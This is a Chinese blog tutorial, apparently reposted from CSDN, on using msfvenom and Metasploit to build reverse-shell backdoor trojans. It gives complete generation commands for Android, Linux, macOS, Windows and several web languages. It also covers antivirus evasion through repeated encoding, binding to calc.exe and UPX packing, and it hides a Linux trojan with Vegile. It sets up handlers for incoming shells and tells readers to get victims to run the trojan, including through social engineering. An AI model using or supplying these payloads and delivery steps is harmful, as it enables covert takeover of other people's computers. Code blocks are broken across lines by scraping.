Msfvenonm生成后门

最新推荐文章于 2024-04-24 09:45:11 发布

Mamba start

最新推荐文章于 2024-04-24 09:45:11 发布

阅读量2k

点赞数 1

分类专栏：工具的使用

原文链接：https://blog.csdn.net/qq_36119192/article/details/83869141

版权

工具的使用专栏收录该内容

25 篇文章 5 订阅

订阅专栏

在前一篇文章中我讲了什么是Meterpreter，并且讲解了Meterpreter的用法。传送门——>Metasploit之Meterpreter

今天我要讲的是我们用Msfvenom制作一个木马，发送给其他主机，只要其他主机运行了该木马，就会自动连接到我们的主机，并且建立一条TCP连接。我们可以通过这条TCP连接控制目标主机。

Msfvenom

–p (- -payload-options)：添加载荷payload。载荷这个东西比较多，这个软件就是根据对应的载荷payload生成对应平台下的后门，所以只有选对payload，再填写正确自己的IP，PORT，就可以生成对应语言，对应平台的后门了！！！
–l：查看所有payload encoder nops。
–f ：输出文件格式。
–e：编码免杀。
–a：选择架构平台 x86 | x64 | x86_64
–o：文件输出
–s：生成payload的最大长度，就是文件大小。
–b：避免使用的字符例如：不使用 ‘\0f’。
–i：编码次数。
–c：添加自己的shellcode
–x | -k：捆绑


 
 
   
   
    
    
   
   
   
   
    
    
     
     安卓
     
     app:
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p android
     
     /meterpreter/reverse_tcp LHOST=
     
     192.168
     
     .10
     
     .27 LPORT=
     
     8888 -o 
     
     ~/Desktop/test2.apk  
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     Linux:
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p linux
     
     /x86/meterpreter/reverse_tcp LHOST=
     
     192.168
     
     .10
     
     .27 LPORT=
     
     8888 -f  elf > shell.elf
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     Mac:
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p osx
     
     /x86/shell_reverse_tcp LHOST=
     
     192.168
     
     .10
     
     .27 LPORT=
     
     8888 -f macho >  shell.macho
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     PHP：
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p php
     
     /meterpreter/reverse_tcp LHOST=
     
     192.168
     
     .20
     
     .27 LPORT=
     
     4444 -f raw -o test.php
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     ASP:
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p windows
     
     /meterpreter/reverse_tcp LHOST=
     
     192.168
     
     .10
     
     .27 LPORT=
     
     8888  -f asp > shell.asp
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     ASPX：
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p windows
     
     /meterpreter/reverse_tcp LHOST=
     
     192.168
     
     .10
     
     .27 LPORT=
     
     8888  -f  aspx > shell.aspx
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     JSP:
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p java/jsp_shell_reverse_tcp LHOST=
     
     192.168
     
     .10
     
     .27 LPORT=
     
     8888 -f  raw > shell.jsp
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     Bash：
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p cmd
     
     /unix/reverse_bash LHOST=
     
     192.168
     
     .10
     
     .27 LPORT=
     
     8888 -f   raw > shell.sh
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     Perl
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p cmd
     
     /unix/reverse_perl LHOST=
     
     192.168
     
     .10
     
     .27 LPORT=
     
     8888 -f raw > shell.pl
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     Python
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p python
     
     /meterpreter/reverser_tcp LHOST=
     
     192.168
     
     .10
     
     .27 LPORT=
     
     8888 -f   raw > shell.py

生成exe木马


 
 
   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p windows/meterpreter/reverse_tcp lhost=
     
     192.168
     
     .10
     
     .27 lport=
     
     8888 -f exe -o test.exe  
     
     #lhost是我们的主机ip，lport是我们主机的用于监听的端口
    
    
   
   

   
   
    
    
   
   
   
   
    
     
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p windows/meterpreter/reverse_tcp lhost=
     
     192.168
     
     .10
     
     .27 lport=
     
     8888 -i 
     
     3 -e x86/shikata_ga_nai  -f exe -o test.exe  
     
     #编码3次

然后会在该目录下生成一个test.exe的木马。

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i 20 lhost=192.168.10.11 lport=8888 -x calc.exe -f exe -o test.exe      #编码20次、捆绑正常的32位calc.exe，生成32位的test.exe文件

利用 upx 加壳

upx -9 test.exe -k -o test2.exe

接下来，我们运行 msfconsole 进入MSF控制台，然后输入以下命令


 
 
   
   
    
    
   
   
   
   
    
    
     
     msf > use exploit/multi/handler  
     
     #使用exploit/multi/handler监听从肉鸡发来的数据
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msf exploit(handler) > set payload windows/meterpreter/reverse_tcp  
     
     #设置payload，不同的木马设置不同的payload
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msf exploit(handler) > set lhost 
     
     192.168
     
     .10
     
     .15  
     
     #我们的主机ip
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msf exploit(handler) > set lport 
     
     8888            
     
     #我们的主机端口
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msf exploit(handler) > exploit

然后，将木马发送给其他人，无论使用什么手段(可以使用社会工程学)让其在其他主机上运行，我们这边就会接收到反弹过来的session。

因为我们刚刚把进程挂在后台，所以我们输入：sessions -l 可以查看到我们得到的shell，使用 sessions -i 1 可以进入指定的shell，我们这里只有一个，所以id为1。如图，我们成功拿到了其他主机的shell

生成Linux木马

方法一：

执行以下命令会生成一个elf文件


 
 
   
   
    
    
   
   
   
   
    
    
     
     #生成32位的马
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=VPS的地址  LPORT=
     
     8888 -f elf > test.elf
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     #生成64位的马
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=VPS的地址  LPORT=
     
     8888 -f elf > test.elf

然后MSF开启监听


 
 
   
   
    
    
   
   
   
   
    
    
     
     use exploit/multi/handler
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     set payload linux/x64/meterpreter/reverse_tcp
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     set 
     
     LHOST 
     
     0.0.
     
     0.0
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     set 
     
     LPORT 
     
     8888
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     exploit -j

将该elf文件上传到目标机器，添加可执行权限，然后执行即可

方法二：

首先，在我们的Kali上生成一个Linux类型的木马test

msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=VPS的地址 LPORT=8888 -b "\x00" -f elf -o test

在目标机器上下载Vegile，命令如下，然后将 test 传到Vegile目录下


 
 
   
   
    
    
   
   
   
   
    
    
     
     git 
     
     clone https://github.com/Screetsec/Vegile.git
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     cd 
     
     Vegile
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     chmod 
     
     +x Vegile

在Kali上开启监听如下


 
 
   
   
    
    
   
   
   
   
    
    
     
     use 
     
     exploit/multi/hander
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     set 
     
     payload linux/x86/shell/reverse_tcp
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     set 
     
     lhost 192.168.10.13
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     set 
     
     lport 8888
    
    
   
   

   
   
    
    
   
   
   
   
    
    
     
     exploit 
     
     -j

然后在目标及执行如下

然后我们的VPS就可以收到目标机器弹回来的shell了。

关于后渗透阶段如何使用Meterpreter，传送门——>后渗透阶段Meterpreter的使用

Mamba start

关注

1
点赞
踩
4

收藏

觉得还不错? 一键收藏
0
评论
Msfvenonm生成后门

目录Msfvenom生成exe木马生成Linux木马方法一：方法二：在前一篇文章中我讲了什么是Meterpreter，并且讲解了Meterpreter的用法。传送门——>Metasploit之Meterpreter今天我要讲的是我们用Msfvenom制作一个木马，发送给其他主机，只要其他主机运行了该木马，就会自动连接到我们的主机，并且建立一条TCP连接。我们可以通过这条TCP连接控制目标主机。Ms...
复制链接

扫一扫